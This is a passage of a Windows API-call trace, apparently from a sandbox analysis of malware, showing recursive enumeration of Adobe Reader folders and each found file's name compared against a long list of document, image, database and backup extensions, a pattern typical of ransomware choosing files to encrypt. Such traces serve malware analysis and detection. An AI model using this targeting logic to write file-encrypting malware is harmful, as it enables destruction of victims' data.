out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0262.173] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0262.173] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-ma\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315730 [0262.173] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.173] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4199, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.173] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4199, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.174] FindClose (in: hFindFile=0x3315730 | out: hFindFile=0x3315730) returned 1 [0262.174] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0262.174] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he-il", cAlternateFileName="")) returned 1 [0262.174] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0262.174] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\he-il\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315ab0 [0262.174] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.174] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0262.174] FindClose (in: hFindFile=0x3315ab0 | out: hFindFile=0x3315ab0) returned 1 [0262.174] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0262.174] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0262.174] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0262.174] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hr-hr\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315970 [0262.175] FindNextFileW (in: hFindFile=0x3315970, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.175] FindNextFileW (in: hFindFile=0x3315970, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3d6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.175] FindNextFileW (in: hFindFile=0x3315970, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3d6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.175] FindClose (in: hFindFile=0x3315970 | out: hFindFile=0x3315970) returned 1 [0262.175] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0262.175] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0262.175] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0262.175] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hu-hu\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33156b0 [0262.175] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.175] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.176] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.176] FindClose (in: hFindFile=0x33156b0 | out: hFindFile=0x33156b0) returned 1 [0262.176] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0262.176] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it-it", cAlternateFileName="")) returned 1 [0262.176] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0262.176] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\it-it\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315cf0 [0262.176] FindNextFileW (in: hFindFile=0x3315cf0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.176] FindNextFileW (in: hFindFile=0x3315cf0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3cd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.177] lstrlenW (lpString="ui-strings.js") returned 13 [0262.177] lstrlenW (lpString=".1cd") returned 4 [0262.177] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0262.177] lstrlenW (lpString=".3ds") returned 4 [0262.177] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0262.177] lstrlenW (lpString=".3fr") returned 4 [0262.177] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0262.177] lstrlenW (lpString=".3g2") returned 4 [0262.177] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0262.177] lstrlenW (lpString=".3gp") returned 4 [0262.177] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0262.177] lstrlenW (lpString=".7z") returned 3 [0262.177] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0262.177] lstrlenW (lpString=".accda") returned 6 [0262.177] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0262.177] lstrlenW (lpString=".accdb") returned 6 [0262.177] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0262.177] lstrlenW (lpString=".accdc") returned 6 [0262.177] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0262.177] lstrlenW (lpString=".accde") returned 6 [0262.177] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0262.177] lstrlenW (lpString=".accdt") returned 6 [0262.177] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0262.177] lstrlenW (lpString=".accdw") returned 6 [0262.177] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0262.177] lstrlenW (lpString=".adb") returned 4 [0262.178] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0262.178] lstrlenW (lpString=".adp") returned 4 [0262.178] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0262.178] lstrlenW (lpString=".ai") returned 3 [0262.178] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0262.178] lstrlenW (lpString=".ai3") returned 4 [0262.178] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0262.178] lstrlenW (lpString=".ai4") returned 4 [0262.178] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0262.178] lstrlenW (lpString=".ai5") returned 4 [0262.178] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0262.178] lstrlenW (lpString=".ai6") returned 4 [0262.178] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0262.178] lstrlenW (lpString=".ai7") returned 4 [0262.178] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0262.178] lstrlenW (lpString=".ai8") returned 4 [0262.178] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0262.178] lstrlenW (lpString=".anim") returned 5 [0262.178] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0262.178] lstrlenW (lpString=".arw") returned 4 [0262.178] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0262.178] lstrlenW (lpString=".as") returned 3 [0262.178] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0262.178] lstrlenW (lpString=".asa") returned 4 [0262.178] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0262.178] lstrlenW (lpString=".asc") returned 4 [0262.178] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0262.178] lstrlenW (lpString=".ascx") returned 5 [0262.179] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0262.179] lstrlenW (lpString=".asm") returned 4 [0262.179] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0262.179] lstrlenW (lpString=".asmx") returned 5 [0262.179] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0262.179] lstrlenW (lpString=".asp") returned 4 [0262.179] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0262.179] lstrlenW (lpString=".aspx") returned 5 [0262.179] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0262.179] lstrlenW (lpString=".asr") returned 4 [0262.179] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0262.179] lstrlenW (lpString=".asx") returned 4 [0262.179] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0262.179] lstrlenW (lpString=".avi") returned 4 [0262.179] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0262.179] lstrlenW (lpString=".avs") returned 4 [0262.179] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0262.179] lstrlenW (lpString=".backup") returned 7 [0262.179] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0262.179] lstrlenW (lpString=".bak") returned 4 [0262.179] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0262.179] lstrlenW (lpString=".bay") returned 4 [0262.179] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0262.179] lstrlenW (lpString=".bd") returned 3 [0262.179] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0262.179] lstrlenW (lpString=".bin") returned 4 [0262.179] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0262.180] lstrlenW (lpString=".bmp") returned 4 [0262.180] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0262.180] lstrlenW (lpString=".bz2") returned 4 [0262.180] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0262.180] lstrlenW (lpString=".c") returned 2 [0262.180] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0262.180] lstrlenW (lpString=".cdr") returned 4 [0262.180] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0262.180] lstrlenW (lpString=".cer") returned 4 [0262.180] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0262.180] lstrlenW (lpString=".cf") returned 3 [0262.180] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0262.180] lstrlenW (lpString=".cfc") returned 4 [0262.180] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0262.180] lstrlenW (lpString=".cfm") returned 4 [0262.180] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0262.180] lstrlenW (lpString=".cfml") returned 5 [0262.180] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0262.180] lstrlenW (lpString=".cfu") returned 4 [0262.180] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0262.180] lstrlenW (lpString=".chm") returned 4 [0262.180] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0262.180] lstrlenW (lpString=".cin") returned 4 [0262.180] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0262.180] lstrlenW (lpString=".class") returned 6 [0262.180] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0262.181] lstrlenW (lpString=".clx") returned 4 [0262.181] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0262.181] lstrlenW (lpString=".config") returned 7 [0262.181] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0262.181] lstrlenW (lpString=".cpp") returned 4 [0262.181] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0262.181] lstrlenW (lpString=".cr2") returned 4 [0262.181] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0262.181] lstrlenW (lpString=".crt") returned 4 [0262.181] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0262.181] lstrlenW (lpString=".crw") returned 4 [0262.181] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0262.181] lstrlenW (lpString=".cs") returned 3 [0262.181] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0262.181] lstrlenW (lpString=".css") returned 4 [0262.181] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0262.182] lstrlenW (lpString=".csv") returned 4 [0262.182] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0262.182] lstrlenW (lpString=".cub") returned 4 [0262.182] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0262.182] lstrlenW (lpString=".dae") returned 4 [0262.182] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0262.182] lstrlenW (lpString=".dat") returned 4 [0262.182] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0262.182] lstrlenW (lpString=".db") returned 3 [0262.182] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0262.182] lstrlenW (lpString=".dbf") returned 4 [0262.182] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0262.182] lstrlenW (lpString=".dbx") returned 4 [0262.182] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0262.182] lstrlenW (lpString=".dc3") returned 4 [0262.182] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0262.182] lstrlenW (lpString=".dcm") returned 4 [0262.182] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0262.182] lstrlenW (lpString=".dcr") returned 4 [0262.182] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0262.182] lstrlenW (lpString=".der") returned 4 [0262.182] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0262.182] lstrlenW (lpString=".dib") returned 4 [0262.182] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0262.182] lstrlenW (lpString=".dic") returned 4 [0262.182] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0262.182] lstrlenW (lpString=".dif") returned 4 [0262.183] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0262.183] lstrlenW (lpString=".divx") returned 5 [0262.183] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0262.183] lstrlenW (lpString=".djvu") returned 5 [0262.183] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0262.183] lstrlenW (lpString=".dng") returned 4 [0262.183] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0262.183] lstrlenW (lpString=".doc") returned 4 [0262.183] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0262.183] lstrlenW (lpString=".docm") returned 5 [0262.183] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0262.183] lstrlenW (lpString=".docx") returned 5 [0262.183] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0262.183] lstrlenW (lpString=".dot") returned 4 [0262.183] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0262.183] lstrlenW (lpString=".dotm") returned 5 [0262.183] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0262.183] lstrlenW (lpString=".dotx") returned 5 [0262.183] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0262.183] lstrlenW (lpString=".dpx") returned 4 [0262.183] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0262.183] lstrlenW (lpString=".dqy") returned 4 [0262.183] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0262.184] lstrlenW (lpString=".dsn") returned 4 [0262.184] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0262.184] lstrlenW (lpString=".dt") returned 3 [0262.184] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0262.184] lstrlenW (lpString=".dtd") returned 4 [0262.184] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0262.184] lstrlenW (lpString=".dwg") returned 4 [0262.184] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0262.184] lstrlenW (lpString=".dwt") returned 4 [0262.184] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0262.184] lstrlenW (lpString=".dx") returned 3 [0262.184] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0262.184] lstrlenW (lpString=".dxf") returned 4 [0262.184] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0262.184] lstrlenW (lpString=".edml") returned 5 [0262.184] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0262.184] lstrlenW (lpString=".efd") returned 4 [0262.184] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0262.184] lstrlenW (lpString=".elf") returned 4 [0262.184] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0262.184] lstrlenW (lpString=".emf") returned 4 [0262.184] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0262.184] lstrlenW (lpString=".emz") returned 4 [0262.184] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0262.184] lstrlenW (lpString=".epf") returned 4 [0262.184] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0262.184] lstrlenW (lpString=".eps") returned 4 [0262.184] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0262.184] lstrlenW (lpString=".epsf") returned 5 [0262.185] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0262.185] lstrlenW (lpString=".epsp") returned 5 [0262.185] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0262.185] lstrlenW (lpString=".erf") returned 4 [0262.185] lstrcmpiW 